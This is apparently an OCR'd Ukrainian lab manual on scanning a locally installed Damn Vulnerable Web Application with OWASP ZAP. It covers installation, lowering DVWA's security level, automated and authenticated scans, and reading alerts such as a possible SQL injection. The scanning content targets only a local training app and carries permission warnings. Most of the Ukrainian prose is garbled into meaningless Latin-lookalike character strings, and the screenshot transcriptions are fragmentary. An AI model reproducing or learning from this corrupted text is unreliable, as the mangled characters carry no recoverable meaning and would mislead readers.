BpazimBocTeit — OWASP ZAP.

Merta: Otpumat HaBUYKU 300py 1HGOpMAIIiT TPO BPA3IMBOCTI 32 JOTIOMOIOIO
ckaHepa Bpaznuocteit OWASP ZAP.

Teopernuni Bitomocri

OnHuM 3 HANOUTBII MOIMIKMPEHUX BEKTOPIB MPOBEACHHS aTak € BeO-I0AaTKH Ta
BeO-pecypcu kommanii. lle cnpuymHeHO TXHBOIO JOCTYIHICTIO 330BHI Ta BEJIUKOIO
KUIBKICTIO Bpa3jIMBOCTEH, IO MOLIMpPEH1 BeO-TexHOoJOoTisiMU. OgHUM 3 HalOLIbII
MOIIMPEHUX 3aco0iB  JJii BHU3HAYEHHS  BpPA3IMBOCTEM pecypciB €  Burp
Suite (Pucynoxk 4.1).

4 Burp Suite Community Edition v2022.12.5 - Temporary Project

Burp  Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extensions Learn {5 Settings
Tasks New scar @ @ @ .47' Time to level up? Catch more bugs with Burp Suite Pro m X
Filte O | |search, aa ,
S Filter | Running | | Paused | Finished Livetask | | Scan | Intruderattack 2 Issue activity [Pro version only] ® ¢
1. Live passive crawl from Proxy (all traffic) & 1] ||| S Filter | High | | Medium | | Low | | Info | Certain | Firm | | Tentative P
Add links. Add item itself, same domainand URLs in suite scope. 0 items added to site map
Issue type Host Fath
Capturing: o 0 responses processed i Suspicious input transfermation (reflected) http:/finsecure-bank.com  furl-sherten
0 d ) SMTP header injection http:/finsecure-website.c... fcontact-us
TEsponses queue £ Serialized object in HTTP message http:/finsecure-bank.com  /blog
& Cross-site scripting [DOM-based) https://insecure-bank.com [
£ XML external entity injection https:/fvulnerable-websit... /product/stock
© External service interaction (HTTP) https:ifinsecure-website.... /product
© Web cache poisoning http:/finsecure-bank.com  fcontact-us
O server-side template injection http:/finsecure-bank.com  fuser-homepage
© sGLinjection https:/fvulnerable-websit... [
@ 0scommand injectien https://insecure-website.... (feedback/submit
Event log Q%
Advisory
¥ e Detug B s
Time Type Source Message
18:39135Feb2023 Info Proxy Proxy service started on127.0.0.1:8080 £}

Memery:859MB B ] Disk3a2kp 1
Pucynoxk 4.13 — Burp Suite

Burp Suite — e yHiBepcasibHuil 3acid, cepen HOro IHCTPYMEHTIB € Taki, IO
JI03BOJISIIOTH SIK 310patu iH(OopMaIrito mpo Bed-pecypce, Tak 1 OpraHizyBaTu Ta IPOBECTH
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aTtaxy, Harpukian — SQL-in’exmito. Aje 1eit 3acid Oiblie miaXOqUTh A7 TOTO, 100
BUBYATH BKE 3HANJICHI a00 MATBEPAUTH ICHYBAHHS MOJIMBUX Bpa3inuBocTe. Jlis

O1IBIIIOCTI WOTO 1HCTPYMEHTIB 30Cepe/KeHa Ha MEeBHIN CTOpiHIll ab0 Ha MEeBHOMY
€JIEMEeHTI Be0-/10/IaTKy YU pecypcy.

Burp Suite mae HHM3KY I0IATKOBMX MOMJIMBOCTEH, SK TO aBTOMATHYHE
CKaHyBaHHsI, OJHAK JOCTYIHI BOHU juiie y Pro-sepcii. Y toit xe wac OWASP
ZAP (Pucynoxk 4.2), sikuii € 0e3KOIITOBHOIO anbTepHATHBOIO Burp Suite 3 Bimkputum

BHXI1THUM KOJIOM, JIa€ 3MOT'Y BUKOHATH aBTOMAaTHYHE CKaHyBaHHS BEO-10AaTKy OJIpasy
TICTIS 3aITyCKY.

z Untitled Session - OWASP ZAP 2.12.0

File Edit ‘iew Analyse Report Tools Import Export Online Help

Standard Mode  ~ Ed g Ed R EEnE &8 7O ¥% @ B e I @@
@ Sites & § 47 Quick Start # = Request ¢ Response &' Requester <
eqas

— Welcome to OWASP ZAP

[E]Default Context ZAP is an easy to use integrated penetration testing tool for finding wulnerabilities in web applications.

@ Sites If you are new to ZAP then it is best to start with one of the options below.
ii}! ég% ‘é)
-
Automated Scan Manual Explore Learn More
MNews
How to configure ZAP to authenticate using Selenium | Learn More *
= History &, Search [ Alerts Output o=

@ @& Y Filter: OFF ¢ Export

Id Source Req. Timestamp Meth... URL Code Reason RTT Size Resp. Bo... Highest Al... Note Tags i

Alerts w0 0 w0 m0 Main Proxy: localhost:8080 Current Scans 40 £0 ®0 20 @0 0 %0 %0

Pucynox 4.14 — Cxanep BpaznuBocTeil BeO-noaatkiB ta pecypciB OWASP ZAP

s toro, mo6 BcraHoButu ckanep OWASP ZAP na Kali Linux, 3amycriTh

KOHCOJIb 3 MpaBaMHu cCyrep-KopuctyBaua (root) abo BBeAiTh “sudo’” Ta BBEOITH
KOMaH/y:

— apt install zaproxy,

Burnsn koHconi y pasi Baanoi iHCTasIii 300paxkeHo Ha Pucynky 4.3. Ilicns

BCTAHOBJICHHsI CKaHep ngocTymHui 3 MeHto moxatkiB Kali Linux y Bxmammi «Web
Application Analysisy.
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k.

kali@kali: ~

File Actions Edit View Help

— | -

install zaproxy
Reading package lists ... Done
Building d ency tree... Done
Reading e infol ion ... Done
ing NEW packages will be installed:

y installed, @ to remove and @ not upgraded.
of hives.
MB of additional disk space will be used.
i kali-rolling/main amd64 zaproxy all 2.12.8-8kali2 [182 MEB]
)

Scanning linﬂé images ...

Running kernel seems to be up-to-date.

Failed to check for processor microcode upgrades.

No services need to be restarted.

No containers need to be restarted.

No user sessions are running outdated binaries.

No WM guests are running outdated hypervisor (gemu) binaries on this host.

— ||

Pucynox 4.15 — [1oBimomieHHs TepMiHAITY PO BJaJie BCTAHOBIJICHHS
ckanepa OWASP ZAP

Bapro 3ayBakuTH, IO OKpIM TOro, II0 CKaHYBaHHsS BeO-I0AaTKIB/pecypciB
Tpebda MPOBOAUTH JIUIIE 3 JO3BOJY BIAMOBITHUX BIACHUKIB UM THIIUX BIMOBITATBHUX
0ci0, OLTBIIICTE CKaHEPIB BPA3IMBOCTEH Y BeO-qo0maTkax, Bkirodaroun OWASP ZAP,
IeHEPYIOTh BEJIMKY KUIBKICTh TpadiKy Ta BHKOHYIOTh MOTEHIIIHO HeOe3neuH1
MEPEeBipKH, IO MOXKE MPU3BECTH 10 BUBOY 3 JIaJly CKAHOBAHOTO M0/aTKy. Uepes 11e, B
naHii J1abopaTopHiil poOOTI PEKOMEHIYEThCS BUKOPUCTOBYBATH [IJIsl TECTYBAaHHS
crieriagbHo po3pobieHi “mabopartopii”’, TpU3HAYEHI JIS HAOYHOI JEMOHCTpAIlii
Bpa3JIMBOCTEH, PO3MOBCIOPKCHUX y BeO-IOJaTKax, Ta TPEHYBaHHS CHEIIAICTIB 3
1HGopMalliiHOT Oe3MeKH MONIYKY Ta eKCIUTyaTallii TAKUX BPa3JIMBOCTEH.

Tox, po3ropHEMO BIAMOBITHWUN “‘NOJITOH” JJIsl TOJAJBIINX CKaHyBaHb. B
oimirinux penosurtopisx Kali Linux mictutecs maker kali-linux-labs, o Bkimouae B
cebe aBa Tak 3Banux “Damn Vulnerable Web Applications”, a came: DVWA Ta
OWASP Juice Shop. BcranoButu 1i AOJATKH JOKAIBHO MOJKHA 3a JOIIOMOTOIO
KOMaH/IH:
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— apt install kali-linux-labs
abo

— apt install dvwa juice-shop
o kali@kali: ~

File Actions Edit View Help

kali-linux-labs
Reading p 2 one
Buildin epe . Done

array
er libjs-util

-builtins nc
idar node-chow

Pucynox 4.4 — BctaHoBIeHHS Bpa3IuBUX BeO-/107aTKIB, IPU3HAYCHUX JIJIS
TeCTyBaHHS

3amycTUTH Ta 3yMUHUTH JOJATKH MOXHA 3a JOTIOMOTOO BiATIOBITHMX KOMAaH/I;

— sudo juice-shop # sudo juice-shop stop

abo

— sudo dvwa-start # sudo dvwa-stop

Xoua obuaBa monmatku ayxe aemoHctparuBHi, OWASP Juice Shop Oinbime
MIIXOMUTh JUISi BUBUYCHHS BPA3IMBOCTEH y BEO-I0JaTKax NUIIXOM camMe PYIHOTO
ckanyBaHHs, Tonl sk DVWA wMoxe patu Ouablie JOCBIy 3 aBTOMAaTHYHOTO
CKaHyBaHHs. B maHoMy TpuUKIani BUKOPUCTAEMO IPYTHUH BapiaHT, IS 3amycka
BBEJEMO BIAMOBIJIHY KOoMaHay. Jlami aBTOMAaTHYHO BIIKPHEThCA Opaysep 3
MOYaTKOBOIO CTOPiIHKOIO BeO-mo1aTKa (Pucynok 4.5).
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< Login :: Damn Vulnerable x  +

@ Q 127.0.01

KaliLinux # KaliTools ¢ KaliDocs ¥ Kali Ferums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

D\WA)

Username
Password

| Login |

Pucynok 4.5 — IlouyatkoBa cTopiHka BeO-A0/1aTKa

[Ipu nepuiomy 3ammycky MOKe 3HaJJ00OMTUCS HANAIITYBaTH 0a3y JaHUX J10AATKa,
B TAaKOMY BHUNaJAKy (hopma BXoay npuitmatume Oyab-ski naHi. Ilicis aBreHTHdikamii
BIIKpUEThCS BKiIagka “Setup /Reset DB”, B kiHIN BiJIMOBIAHOI CTOPIHKK Tpeda
HAaTUCHYTH Ha KHomky “Create / Reset Database™, micis 4oro cTOpiHKa OHOBHTHCS
(Pucynok 4.6).

<J Setup :: Damn Vulnerable X +

« C @ O O 127.0.01

Kali Linux #§8 KaliTools ¢ KaliDocs & Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

P TUTICHON aropray _enors: Dreanted
PHP function safe_mode: Disabled

PHP function allow_url_include: Disabled
PHP function allow_url_fopen: Enabled
PHP function magic_quotes_gpc: Disabled
PHP module gd: Installed

PHP module mysgl: Installed

PHP module pdo_mysql: Installed

Backend database: MySQL/MariaDB
Database username: dvwa
Database password: ™****

Database database: dvwa

Database host: 127.0.0.1

Database port: 3306

reCAPTCHA key: Missing

[User: root] Writable folder /ivar/lib/dvwa/uploads!: Yes

[User: root] Writable file fvarflog/dvwa/phpids_log.txt: Yes

[User: root] Writable folder /etc/dvwalconfig: Yes

Status in red, indicate there will be an issue when trying to complete some modules.

If you see disabled on either aliow_url_fopen or aliow_url_include, set the following in your php.ini file and restart
Apache.

allow_url fopen = On
allow_url_include = On

These are only required for the file inclusion labs so unless you want to play with those, you can ignore them.

| Create / Reset Database |

First time using DVWA.
Need to run 'setup.php’

Pucynok 4.6 — HanamryBanus 6a3u ganux y DWVA
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JI71s1 moanbIoro ckaHyBaHHS MOTPIOHO YBIWTH B ICHYIHOUYHMH OOJIIKOBUH 3aIHC 3
iM’ssM kopucTyBaua admin ta maponem password. [[o6 edekTHBHO BUKOpUCTATH
JAHWUW JT0JIaTOK B SIKOCTI ITiJI1 CKAaHYBaHHS, BApTO 3MIHUTH PIBEHb HOTO 3aXHUIIIEHOCTI.
Jlns mporo motpioHo mepeiitu y Bkimaaky “DVWA Security”, me 3MiHUTH piBSHb 3
“Impossible” na “Low” Ta Hatucuytu “Submit” (Pucynok 4.7).

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection
CSRF

File Inclusion

File Upload

Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
Weak Session IDs

XSS (DOM) |

DVWA Security *

Security Level
Security level is currently: impossible.

You can set the security level to low, medium, high or impassible. The security level changes the vulnerability
level of DVWA:

1. Low - This security level is completely vulnerable and has no security measures at all. It's use is (o be
as an example of how web application vulnerabilities manifest through bad coding practices and to serve
as a platform to teach or learn basic exploitation techniques.

2. Medium - This setting is mainly to give an example to the user of bad security practices, where the
developer has tried but failed to secure an application. It also acts as a challenge to users to refine their
exploitation techniques.

3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
practices to attempt to secure the code. The vulnerability may not allow the same extent of the
exploitation, similar in various Capture The Flags (CTFs) competitions.

4. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable
source code to the secure source code.

Prior to DVWA v1.9, this level was known as 'high’.

XSS (Reflected)
XSS (Stored)

Impossible v

Submn||

Low
Medium

High

CSP Bypass

JavaScript

Impossible PRP-Intrusion Detection System) is a security layer for PHP based web applications.

filtering any user supplied input against a blacklist of potentially malicious code. It is used in
DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help improve security and in
some cases how WAFs can be circumvented.

You can enable PHPIDS across this site for the duration of your session.
PHPIDS is currently: disabled. [ 1

[ ]-L 1

Pucynoxk 4.7 — Intepdeiic DVWA, nociiIoBHICTh Ai¥ AJ1s1 3MIHU PiBHS 3aXUIIIEHOCTI
Ham posrisHemo poboty ckanepa. Ilicis 3amycky ckaHepa MOXKeE 3’SIBUTHUCS

BIKHO KepyBaHHs nonoBHeHHsMHU (Pucynok 4.8) —natuckaemo “Update All” Ta
3aKpUBAEMO BIJMOBIIHE BIKHO.
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X Manage Add-ons

Installed  Marketplace

ZAP Core
ZAP is up-to-date (2.12.0)
Add-ons
Filter:
Name ‘ersion Description e=d
(i) Active scanner rules 49.0.0 The release status Active Scanner rules
Ajax Spider 23.1... Allows you to spider sites that make heavy use of |...
Alert Filters 14.0.0 Allows you to automate the changing of alert risk le...
Automation Framework  0.19.0 Automation Frameworlk.
Call Horme 0.5.0 Handles all of the calls to ZAP services.
Common Library 1.11.0 A common library, for use by other add-ons.
Database 0.1.0 Provides database engines and related infrastructure.
Niff 12 0.0 Nisnlave a dialnn showina the differences hetweesn

Select an add-on above to see more details.

Uninstall Selected Update Selected Update All Close
Downloading updates. You can close this dialog and the downloads will carry on in tHe=ra=rgrooT:

PI/ICYHOK 4.8 — BikHO OHOBJICHHS AOIIOBHCHb, YCPBOHUM BI/II[iJICHa kHonka « OHOBUTH
BCC»

[Ticas uporo pexomenmoBaHo mnepesamyctutu OWASP ZAP. Ha expani
3’SIBUTHCSI TOJIOBHE BIKHO 3 JBOMAa BapiaHTaMH CKaHyBaHHs: “Automated” Ta

“Manual”. Jlms Toro, mo0 moyaTH CKaHyBaHHS, HaTHUCHITH “Automated Scan”
(Pucynox 4.9).

x Untitled Session - OWASP ZAP 2.12.0

File Edit View Analyse Report Tools Import Export Online Help
Standard Mode ~ || ] L2 & BRI === =l ==l = =R s W Al ¥% @ B o @ € ]
@ Sites &= § 4 Quick Start # =» Request ¢ Response /Requester =k

Welcome to OWASP ZAP

[@]Default Context ZAP is an easy to use integrated penetration testing tool for finding wuinerabilities in web applications.

@ Sites If you are new to ZAP then it is best to start with one of the options below.
@ @
&
Autormated Scan Manual Explore Learn More
Run an autofmated scan against your application
MNews
How to configure ZAP to authenticate using Selenium | Learn More *

# History @, Search [ Alerts Output <
@ @ Y Fiter: OFF ¢ Export
Id  So... Req. Timestamp Met... URL C... Reason ... Size Resp... Highest... N... Tags B
Alerts m0 w0 w0 w0 Main Proxy: localhost:8080 Current Scans 40 0 ®0 20 @0 0 #0 =0

Pucynok 4.9 — 3anmyck aBTOMaTHYHOTO CKaHyBaHHS
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Y HoBOMY MeHto y mojie “Enter a base URI for scan” Beeaith agpecy pecypcy
ab0 BeO-101aTKy, 00epiTh 00MABA KPOYJIepHU ISl KPaIloro pe3yJbTaTy Ta HaTUCHITH
«Attack» (Pucynok 4.10).

Untitled Session - OWASP ZAP 2.12.0

File Edit View Analyse Report Tools Import Export Onlne Help

Standard Mode ~ ] [ [ g EfcEEE o EaomE 48 7@ ¥% @ E e @@
@ Stes 4 ; 47 Quick Start # = Request <= Response </ Requester <

@QE=E
= Contexts < Automated Scan a

[©] Default Context

@ Sites This screen allows you to launch an automated scan against an application - just enter its URL below
and press 'Attack’.

Please be aware that you should only attack applications that you have been specifically been given
permission to test.

URL to attack: http://127.0.0.1:42001 v @ Select...

Use traditional spider: [/]

- V] with  Firefox Headless

& Artack Stoy

Use ajax spider:

Progress: Mot started
= History &, Search  [¥ Alerts Output ==
@ @ | Fiter: OFF ¢ Export
Id So.. Reg. Timestamp Met... URL C... Reason ... Size Resp... Highest... N... Tags ezl
Alerts m0 m 0O w0 0 Main Proxy: localhost: 8080 CQurrent Scans 4 0 0 @0 20 @0 0 %0 #0

Pucynox 4.10 — 3anmyck aBTOMaTHYHOTO CKaHYBaHHS 3a 3aJIaHOI0 aJIPECOI0 3
BUKOpHUCTaHHAM Tpaauiliitnoro Ta AJAX-kpoynepa

[Ticnst mporo ckanep moyHe cBor poOoTy. CrovaTKy BiANPAIIOIOTh KPOYJIEpH,
a TIOTIM MOYHEThCS aKTUBHE CKaHyBaHHS.
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x Untitled Session - OWASP ZAP 2.12.0

File Edit View Analyse Report Tools Import Export Online Help
B EE I CEHEOEEEEDE 4 8 0 @ AEmome@ e
@Stes 4 $ & QuickStart # = Request = Response &'Requester

ensa
e | < Automated Scan D

[E] Default Con

Standard Mode 2 Jd

@ Sites This screen allows you to launch an automated scan against an application - just enter its URL below and press 'Attack’
Please be aware that you should only attack applications that you have been specifically been given permission to test
URL to attack: http://127.0.0.1:42001 ~ | @ Select.
Use traditional spider:
Use ajax spider: with | Firefox Headless
LI Stop
Progress: Actively scanning (attacking) the URLs discovered by the spider(s)
[ History & Search  [¥Alerts Qutput  # Spider ¥ AJAX Spider 3 Active Scan # +
@ » New Scan Progress: O: http://127.0.0.1:42001 ~ 01 [ & Current Scans: 1 Num Requests: 1317 New Alerts:0 & Export &

Sent Messages  Filtered Messages

Id Req. Timestamp Resp. Timestamp Method URL Code Reason RTT Size Resp. Header Size Resp. Body @
LT GT EIELIE D, LT PN EIELIED, LU L MW L UO NP L ] G LT G AT EI S eoouyien U uyies
1,790 2/22/23, 10:49:11 AM  2/22/23, 10:49:12 AM  GET http:/f127.0.0.1:420010gin.php 200 OK 21... 263 bytes 1,454 bytes
1,792 2/22/23, 10:49:12 AM  2/22/23, 10:49:12 AM POST  http://127.0.0.1:42001/login.php 302 Found 7 .. 295bytes 0 bytes
1,793 2/22/23, 10:48:12 AM  2/22/23, 10:49:12 AM  GET http://127.0.0.1:42001/login.php 200 OK 6 263 bytes 1,454 bytes
1,795 2/22/23, 10:48:12 AM  2/22/23, 10:49:12 AM POST http://127.0.0.1:42001/login.php 302 Found 9 295 bytes 0 bytes
1,796 2/22/23, 10:49:12 AM  2/22/23, 10:49:12 AM  GET http://127.0.0.1:42001/ogin.php 200 OK 8 263 bytes 1,454 bytes
1,798 2/22/23, 10:49:12 AM  2/22/23, 10:49:12 AM POST  http://127.0.0.1:42001/login.php 302 Found S .. 295bytes 0 bytes
1,799 2/22/23, 10:49:12 AM  2/22/23, 10:49:12 AM  GET http://127.0.0.1:42001/ogin.php 200 OK 8.. 263 bytes 1,454 bytes
1,801 2/22/23, 10:49:12 AM  2/22/23, 10:49:12 AM POST http://127.0.0.1:42001/login.php 302 Found 9 295 bytes 0 bytes
1,802 2/22/23, 10:48:12 AM  2/22/23, 10:149:12 AM  GET http://127.0.0.1:42001/login.php 200 OK 9 263 bytes 1,454 bytes
1,804 2/22/23, 10:49:12 AM  2/22/23, 10:49:12 AM POST  http://127.0.0.1:42001/login.php 302 Found 8.. 295 bytes 0 bytes
1,805 2/22/23, 10:49:12 AM  2/22/23, 10:49:12 AM  GET http:/f127.0.0.1:42001/0gin.php 200 OK 10... 263 bytes 1,454 bytes
1,807 2/22/23, 10:49:12 AM  2/22/23, 10:49:12 AM POST  http://127.0.0.1:42001/login.php 302 Found 68... 295 bytes 0 bytes
1,808 2/22/23, 10:48:12 AM  2/22/23, 10:49:12 AM GET http://127.0.0.1:42001/login.php 200 OK 21... 263 bytes 1,454 bytes
Alerts m0 R 3 4 MmO Main Proxy: localhost:8080 Current Scans @0 ©0 ®0 31 @0 0 5 0 %O #O

Pucynok 4.11 — [Ipouec ckaHyBaHHS

B nporieci ckaHyBaHHsI 3alMTH, 1110 CBIAYATH N0 YCHIIIHY NEPEBIPKY A0JaTKA Ha
NEBHI BPAa3JINBOCTI, COPTYIOTbCS 3a THUIIOM BPAa3JIMBOCTI, SIKY BOHU BHUKPWIIH, TOXK
HaBITh SIKIIO CKaHYBaHHS HE3aBEpIICHE — MOYKHA JI3HATUCA OUIbINE PO BXKE HASBHI
pe3yJbTaTH.

OueBuHO, 0 Y BeO-A0/1aTKaX/pecypcax HOCTYI 10 OIbIIO0T YaCTUHH (DYHKITIH
Ta CTOPIHOK 3a00pPOHEHUI I HeaBTEeHTU(IKOBAaHUX KOpUCTYyBayiB. Tomy, 3a3Bu4aii,
MPOBOJIUTHCA K HEaBTEHTHU(DIKOBaHE, TaKk 1 aBTEHTHU(]IKOBaHE CKaHYBAaHHS (SIKIIIO
MPUCYTHS MOXIIMBICTh BXOJYy B akkayHT). i1 aBTeHTH(]IKOBAHOTO CKaHyBaHHS
BUKOpUcTaeMo COOKie BimmoBimHOT cecii. /s boro Kpaiie 3a Bce BUKOPUCTOBYBATH
MPOKCI.

OWASP ZAP, sx i1 Burp Suite, BuminsftoTbes cepel I1HIIMX 3aco0iB s
CKaHyBaHHsI B€0O-I0IATKIB TUM, III0 MOKYTh BUKOHYBATH POJIb MPOKCI.

B nanomy KoHTEKCTI TpoKci — e cepBepHe [13, 110 BUKOHYE poib OcepeTHUKA
MIXK KJIIEHTOM, 1110 3alTUTy€E MIEBHUM pecypc, Ta CEPBEPOM, 1110 HOro Hajmae. Y BUMAIAKY
3 BUIIE3raJaHUMU JI0JIaTKaMU MPOKC1 HE TUIBKHU MPOITyCKae Kpi3b cede Tpadik, ane i
J03BOJISIE IOTO aHaNI3yBaTH, BUAO3MIHIOBATH Ta FEHEPYBaTH.

€ nBa crmocoOM BUKOPUCTAHHS ITUX TPOKCI:

— TEPIINi — Yepe3 HaJalTyBaHHA Opaysepa, 10 3MYCHTh yBeCh Tpadik 3
Opay3epa IpOXOJIUTH Kpi3b MPOKC;

— JpyTuil — BUKOPUCTaHHA  BOYJOBAaHOTO, 3a3/ajierilb  HaJalllTOBAaHOTO
Opaysepa. st apyroro crnocoOy HOCTaTHHO HATUCHYTU JIMIIIE HA OJIHY KHOIIKY
(Pucynok 4.12).
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Az Untitled Session - OWASP ZAP 2.12.0

File Edit WView Analyse Report Teools Import Export Online Help
Standard Mode = B E AR EEnmE &8 7@ ¥ [ E o QE]

; < ; 3
@ Sites + N4 Quick Start # = Request 4 Response =/ Requester == Open the browser you've chosen in the Quick Sti
enas

= Contexts < AutomatEd Scan Q

[©] Default Con

@ Sites This screen allows you to launch an automated scan against an application - just enter its URL below and press 'Attack’.
Please be aware that you should only attack applications that you have been specifically been given permission to test.
URL to attack: http://127.0.0.1:42001 ~ | @ Select...
Use traditional spider: [/
Use ajax spider: V] with | Firefox Headless ~
& Attack Stoy

Progress: Attack complete - see the Alerts tab for details of any issues found

= History <, Search  [WAlerts # Output  #%& Spider  #& AJAX Spider ) Active Scan

@ e 7 & Full detalls of any selected alert will be displayed here.

- A‘ﬁe\g:ef?e of Anti-CSRF Tokens (2) You can manually add alerts by right clicking on the relevant line in the history and selecting 'Add alert'.

™
fu Content Security Policy (CSP) Header Not Set (] you can also edit existing alerts by double clicking on them.
f Missing Anti-clickjacking Header (2)

1 Cookie No HttpOnly Flag (2)

 Cookie without SameSite Attribute (4)

fu Server Leaks Version Information via "Server' H

fu X-Content-Type-Options Header Missing (7)

F User Agent Fuzzer (89)

Alerts m0 w3 4 @1 Main Proxy: localhost:8080 Current Scans 40 £0 @0 20 @0 0 5 0 #0 #®0

Pucynox 4.12 — Krornka aj1s1 3amycky Opay3epa 3 HaJlallTOBaHUM TIPOKCI

[Ticns uporo Tpeba 3aliTH 70 OOIIKOBOrO 3aMKCy 3 HAJIAIITOBAHOTO Opay3epa,
nepeBipuTH piBeHb ckianHocTi (PucyHok 4.13, mo3nauku 1, 2) 1 3a JONOMOTOIO
BOY/IOBaHMX 1HCTPYMEHTIB A po3poOHUKiB (PucyHok 4.13, no3Hauka 3) ai3HaTHCS
3Ha4YeHHS 3reHepoBaHoro Cookie (PucyHok 4.13, mo3Hauka 4).
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<J DVWA Security :: Damn V' X ar

8 0 64&

< # KaliTools « KaliDocs & KaliForums e Kali NetHunter #< Exploit-DB Google Hacking DB OffSec
Instructions

‘SewpiResetpB | Security Level

Security level is currently: low.
Brute Force
You can set the security level to low, medium, high or impossible. The security level changes the vulnerability

Command Injection level of DVWA:
CSRF 1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
File Inclusion as an example of how web application vulnerabilities manifest through bad coding practices and to serve

as a platform to teach or learn basic exploitation technigques.
File Upload

Medium - This setting is mainly to give an example to the user of bad security practices, where the
Insecure CAPTCHA exploitation techniques.

I

developer has tried but failed to secure an application. It also acts as a challenge to users to refine their

3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad

SQL Injection practices to attempt to secure the code. The vulnerability may not allow the same extent of the

exploitation, similar in various Capture The Flags (CTFs) competitions.
SQU setios)(BRNT) 4. Impossible - This level should be secure against all vulnerabilities. It is used to cory
Weak Session IDs 2 source code to the secure source code.

Drior {o DVWA v1.9 this level was known as 'high’
XSS (DOM) —_— 3

Low ~ || Submit

XSS (Reflected) | (E [l N\
XSS (Stored)
CSP Bypass PHPIDS
LU 1 v0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web appli

PHPIDS works by filtering any user supplied input against a blacklist of potentially malicious,

Inspect (Q)

Pucynok 4.13 — HanamryBanns cecii y ckoH(iHypoBaHOMY Opay3epi

Hactymaum kpokoM Oyze miakiIrodeHHs BiamosigHoi cecii ;o OWASP ZAP.
bins Brmagkm “Active Scan” HatucHiTh Ha “+” Ta oOepith “HTTP Sessions”
(Pucynok 4.14).

L7 Attack Stog

Attack complete - see the Alerts tab for details of any Issues...

Spider A Active Scan # C'S
= Automation

B < Current Scans:0 Num R¢ 3¢ Breakpoints erts:89 @ Export &
# ' Forced Browse
URL Co... pw Fuzzer p. He... Size Resp. B... &
pr ,
ignature-2.cdn.mozila.... 200 ONSMISSESCITNS . 5,348 bytes
n/digininja/D\VWA/com... 200 O @ OAST tes 1,768 bytes
T/digininja/DVWA/spoo... 200 O £ Params tes 2 bytes
T/digininja/DVWA/over... 200 O == Progress tes 541 bytes
ﬂfd!g!n!njlafDVWMused... 200 O &% WebSockets tes 2 bytes
T/digininja/DVWA/Mhove... 204 N Zest Result tes 0 bytes
"ubassets.com/ffavicon... 200 O~ est hesuits _ 5 959 bytes
m/fluidicon.png 200 COK 1... 344 bytes 33,270 bytes
.com/ _private/browser... 200 OK 4... 1,089 bytes 0 bytes

Current Scans 430 &0 ®0 20 @0 0 %0 %0
Pucynok 4.14 — Hanamrrysanus HT TP ceciit
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Jlami y CHOHCKy TIYKaEMO CecCito, SKa Ma€ TakKe K 3HA4YeHHS, K ¥
CKOH(}IrypoBaHOMY Opay3epi, BUKJIMKAEMO I HbOI'0 KOHTEKCTHE MEHIO Ta 00UPaEMO
“Set as Active” (Pucynok 4.15).

o Alerts | Qutput & Spider  #8 AJAX Spider ) Active Scan = HTTP Sessions # = o

~ o8 New Session @ Export

Mame Session Tokens' Values Messe

Session O PHPSESSID =ind 5ps7vmvkn8npfuS3i8. .
Session 1 PHPSESSID=ind 5ps7vmvkn8npfu23i8. ..
Session 2 =e(fnllankta3kcujSbbhs&m...

Remove Session
Copy Session Token Value to Clipboard
Find Related Messages

Pucynok 4.15 — BcraHoBIIeHHS akKTHUBHOI1 cecii

[Ticns BUIIETIEpEpaXOBaHUX KPOKIB MOXKHA 3aIlyCTUTH CKaHYyBaHHS 3HOBY (SIK Ha
Pucynky 4.10), 1 BOoHO Mae naTu OiIbIlIe pe3yabTaTiB, K1 JOJAIOTHCS 10 Pe3ysIbTaTiB
MOTEPETHBOTO, HEABTECHTU(IKOBAHOTO CKaHyBaHHS. TaKOXX CKaHyBaHHS MO>KHA
CKOHIICHTPYBATH Ha TMEBHIN YaCTHHI 0aTKa, 3alTyCTUBIIN aKTUBHE CKaHYBaHHS JJIS
neBHOro nuisixy (Pucynok 4.16).

x Untitled Session - OWASP ZAP 2.12.0

File Edit \iew Analyse Report Tools Import Export Online Help

ATTACKMode v B HB @ &t EEaoe&d v @ %Ei-me@ e
@ Sites + D el Crnt [ Flrnaets N Sl Do inatas o
@ QEeE Delete Delete | 4* Forced Browse Site
| ] # GET:source Include in Context 3| /* Forced Browse Directory
|7 # source Run application »| ¢ Forced Browse Directory (and Children)
|| CGET:wiinerabilities Include Site in Context > # AJAX Spider...
v B v winerabilities {J Open/Resend with Request Editor... % Spider...
Ll rs GET/ Flag as Context > 4 Fuzz..
[If# brute Open URL in Browser >
L] GET:brute Show in History Tab
[ Im# captcha Open URL in System Browser
||~ GET:captcha Exclude from Context >
[m# csp Exclude from >
1w GET:csp Manage History Tags. ..
] m# csrf Brealk...
L1/ GET:csrf New Alert ..

Lim# exec Alerts for This Node
= 5 F Test FORM

# History ©, Search  [¥Ale ve Scan # % =g HTTP Sessions 4

AAdA +n Fact Serint ~

Pucynok 4.16 — CxkanyBaHHS OKpEMO1 YaCTUHM BeO-10/1aTKa
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Konmu ckanyBaHHs 3aKkiHUyeTbCsl (MOXE TpHUBATH OuUIblIe TOAMHH) (POKYC
nepeBoAUThCS Ha BKiIaaky “Alerts”. Tak, na Pucynky 4.17 MoxxeMo mo0OadyuTH, II0
Oyna BusBIeHa MOXJIUBICTH aia SQL-in’exmii. HaTUCHYBIIM Ha 3amuT y JaHii
KaTeropii, MokHa OOAYUTH

b Untitled Session - OWASP ZAP 2.12.0

File Edit ‘iew Analyse Report Tools Import Export OCnline Help

ATTACK Mode  ~ B & %8 | Sl raEE e EEmE A V@ F E e @ &
@ Sites = ; 4 Quick Start = Request <= Response /Requester <=
@oEDo3 Header: Text ~ Body: Text ~ [] O
[1# GET:source HTTP/1.1 200 OK
LF# source server: nginx/1.22.1
|| GETwulnerabilities Date: Fri, 24 Feb 2023 ©5:32:54 GMT
=0T Content-Type: text/html;charset=utf-8
W GET:/ Connection: keep-alive
“Imw brute Pragma: no-cache
Cache-Control: no-cache, must-revalidate
| GET:brute
Mm% captcha
|| ® GET:captcha <div class="vulnerable_code_area">
LM csp <form action="#" method="GET">
. , “p>
LI GETicsp User 1D:
Eirw csrf <input type="text" size="15" name="id">
